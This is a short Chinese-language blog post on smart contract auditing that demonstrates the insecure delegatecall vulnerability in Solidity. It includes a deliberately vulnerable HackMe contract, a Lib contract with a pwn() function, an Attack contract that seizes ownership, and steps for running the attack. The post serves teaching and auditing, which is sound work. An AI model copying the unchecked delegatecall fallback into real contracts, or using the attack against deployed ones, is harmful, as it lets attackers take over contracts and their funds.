首页 > 其他 > 详细

智能合约审计-不安全的delegatecall

时间:2021-05-30 20:12:38      阅读:21      评论:0      收藏:0      [点我收藏+]

简介

当合约A以delegatecall方式调用时,
相当于将外部合约B的func()代码复制过来
(其函数中涉及的变量或函数都需要在本地存在), 在合约A上下文空间中执行。

合约

pragma solidity ^0.6.0;

// Delegatecall漏洞

contract HackMe{
    address public owner;
    Lib public lib;
    
    constructor(Lib _lib) public{
        owner = msg.sender;
        lib =  Lib(_lib);
    }
    
    fallback() external payable{    // 调用不存在的函数 将调用fallback函数
        address(lib).delegatecall(msg.data);
    }
}

contract Lib{
    address public owner;
    
    function pwn() public{
        owner = msg.sender;
    }
}

contract Attack{
    address public hackMe;
    
    constructor(address _hackMe) public{
        hackMe = _hackMe;
    }
    
    function attack() public{
        hackMe.call(abi.encodeWithSignature("pwn()"));	// hackMe没有pwn函数,就会调用fallback 
    }
}

攻击步骤

  1. 首先account A部署HackMeLibAttack合约
  2. 查看owner,为account A
  3. 然后调用attack函数
  4. 查看owner已经变化

智能合约审计-不安全的delegatecall

原文:https://www.cnblogs.com/secxue/p/14828696.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!